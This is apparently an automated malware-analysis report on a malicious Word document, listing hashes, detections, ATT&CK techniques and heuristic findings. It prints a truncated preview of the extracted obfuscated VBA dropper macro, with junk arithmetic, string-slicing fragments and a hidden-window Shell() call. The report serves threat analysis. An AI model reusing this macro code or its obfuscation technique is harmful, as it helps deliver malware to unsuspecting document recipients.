Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b4bf978a9af36d7…

MALICIOUS

Office (OLE)

213.0 KB Created: 2017-12-27 19:34:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 6a32350ca2b45b0bdba688504faa890e SHA-1: cfbba0438b144d8cce9829e80510be72734c62b9 SHA-256: 5b4bf978a9af36d76a5030c5da4977bf1d6479d640103aeabb4e1fdfd727542f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro with an AutoOpen marker and a critical Shell() call. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests it's a dropper for a phishing lure. The VBA script directly calls the Shell() function, indicating it's designed to execute arbitrary commands, likely to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 218,112 bytes but its declared streams total only 24,697 bytes — 193,415 bytes (89%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59856 bytes
SHA-256: d03deb534f9400aa348ebeaf0562805510f171d42e08476e21444113eff314dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KEaoDRf"
Sub fYsBORmws(uVijowa As String)
On Error Resume Next
abpiMzTuG = 871 / Rnd(4) + pijXQEqMjJk + zBSRmYVwdMz * 9 + Int(fOqJWrjjLza * CStr(lRulAlPXU)) + coLvKvZICckErC * CDate(3624 - 352183467 * 84 / 475) / jqsaAUzaz - CSng(620)
fVdjzrzaH = 871 / Rnd(4) + lCzbhoKDzzih + sYTvWzUadN * 9 + Int(PoRpKKiK * CStr(HQKiOKlpRCdRww)) + LiwadmKIpmLs * CDate(3624 - 352183467 * 84 / 475) / UsmSYjSbNk - CSng(620)
jMLiJakuR = 871 / Rnd(4) + jdjOEjKzIVwDS + UYQKtOiJw * 9 + Int(POSHAhFruAqqM * CStr(OrZVTsnduw)) + kKaACOWf * CDate(3624 - 352183467 * 84 / 475) / zpODwaQFIRYd - CSng(620)
LtvBpJpFF = 871 / Rnd(4) + UWzQWiqsmULZ + YdVYsciUcY * 9 + Int(YRizMEjahNV * CStr(FfDlOQfDSmVWY)) + kzdWRrwRrF * CDate(3624 - 352183467 * 84 / 475) / rfhnlsK - CSng(620)
DlPtorUEz = 871 / Rnd(4) + NmwHasUjwK + dtoowkWkzQhtKT * 9 + Int(ErImCMudDEJsR * CStr(MDoiPZraEqGz)) + ADftlnnodb * CDate(3624 - 352183467 * 84 / 475) / IijPljpr - CSng(620)
Shell uVijowa, 0
FwkMtLvuv = 871 / Rnd(4) + mRfEtuaXLXF + wjcdZjpbpUA * 9 + Int(sVPrmhqtr * CStr(qJfDpppN)) + SmbzBkPlPE * CDate(3624 - 352183467 * 84 / 475) / nSQQLXiild - CSng(620)
jLlnsSwWq = 871 / Rnd(4) + lcwicQV + HWwboXXYs * 9 + Int(sSLGcumap * CStr(IRRPYEiL)) + iouCPbOhEW * CDate(3624 - 352183467 * 84 / 475) / QTajdYoiA - CSng(620)
BwBbIGqEj = 871 / Rnd(4) + kpLCKZz + vfNMhDbwo * 9 + Int(ilAPDLUmnTtJl * CStr(BBmZERPJ)) + ItzmoOzzMRwW * CDate(3624 - 352183467 * 84 / 475) / CUlAiXmdWltDLf - CSng(620)
RCrXbYFsV = 871 / Rnd(4) + YjXpUjr + mGzSnEjsWDlI * 9 + Int(idjjzUu * CStr(wpJwhbBAwJ)) + tGREfzOnojBBH * CDate(3624 - 352183467 * 84 / 475) / zqDnJWMzP - CSng(620)
oQpTFchrZ = 871 / Rnd(4) + vOzRYDjijGownC + klwMnmdwrcop * 9 + Int(ILGrbHLzzYi * CStr(cofqarcniVri)) + mISSIokNBaV * CDate(3624 - 352183467 * 84 / 475) / wVjrlmMTcKzzFQ - CSng(620)
End Sub
Function UjFUJlrGrkipU()
On Error Resume Next
ADtdOPwdjL = 871 / Rnd(4) + IOMcXFKwil + oYfYPzO * 9 + Int(iaDcwKOjofPYRh * CStr(CQIzCNREtq)) + CBSMsWEODtFlP * CDate(3624 - 352183467 * 84 / 475) / IVWSTMnHB - CSng(620)
fCtXMoQ = 871 / Rnd(4) + awpoorw + WwwoSDdM * 9 + Int(jlTdfHPqDkbo * CStr(KdfErAohZ)) + ksaSqLiVcaTcC * CDate(3624 - 352183467 * 84 / 475) / buqZzlHVTIl - CSng(620)
TlYwmA = Mid("j9v       jnSqPw9VIzt4YfFUzJYiCdaW0", 4, 7)
fMwKvdwV = 871 / Rnd(4) + IGALjQWJmHI + RbnsUDddz * 9 + Int(tjtsvlaiBuz * CStr(EmWshmWvzIKvE)) + iaskdYiiMTSoVk * CDate(3624 - 352183467 * 84 / 475) / IFNNbWBWbWrG - CSng(620)
PtDnVRc = 871 / Rnd(4) + DdJkbwDGsw + bUOzwNdA * 9 + Int(RjNzjLvaEptz * CStr(CkTdiUjQtlcMQ)) + SYTwziLDTQ * CDate(3624 - 352183467 * 84 / 475) / AQBdBDCI - CSng(620)
KhbnGphkhr = 871 / Rnd(4) + ikVzoAH + lRQbLaZCasRlLq * 9 + Int(zicZcER * CStr(mSbzcwUAU)) + kWozmPvcTAd * CDate(3624 - 352183467 * 84 / 475) / UrnhYPLbiv - CSng(620)
slmhwkzcY = Mid("JCtLzf916EpjlY4wVpUL0Dm4PKj", 16, 1)
wDJwD = 871 / Rnd(4) + RdjTiJTUXwkl + rcClqwVdwR * 9 + Int(RiDfmri * CStr(DdBprAPoKr)) + VjajYYbQMGn * CDate(3624 - 352183467 * 84 / 475) / SMdBEFoh - CSng(620)
vGmGIqzXIp = 871 / Rnd(4) + TmzjLGoFIonu + iZVcaUsW * 9 + Int(oufaGKziMbI * CStr(XfXXwpwJ)) + zoZjVZlTu * CDate(3624 - 352183467 * 84 / 475) / ENszDDlAiF - CSng(620)
LIsmXHl = 871 / Rnd(4) + QKiqpnKlaHK + TvWrziGLbVTP * 9 + Int(icOwLjWJzF * CStr(sqjlRilzdW)) + QHJGahVFurSVGK * CDate(3624 - 352183467 * 84 / 475) / mPYocTqAzGvVuw - CSng(620)
slrqiIRtXIT = Mid("kM5rPIws%=o^weAWrbmMIIo5rv5M0pjwnhvYcnIZt05w", 7, 8)
tUHslc = 871 / Rnd(4) + cMlAHtzEcft + LoFGulkN * 9 + Int(SBEwiiUU * CStr(pUDlXcofO)) + oOSuKBjJwzr * CDate(3624 - 352183467 * 84 / 475) / tsSJKjEcL - CSng(620)
vjKdFki = 871 / Rnd(4) + nkkNTwDJ + rjBsshm * 9 + Int(wEOVSHhEPJnlv * CStr(pIUpHDFCNwcGnG)) + VAiMDLw * CDate(3624 - 352183467 * 84 / 475) / pUdDJDnQYGsqsX - CSng(620)
qrWcRaXGP = 871 / Rnd(4) + kPqZIaQdSOW + ZzzHuuz * 9 + Int(VXVaa
... (truncated)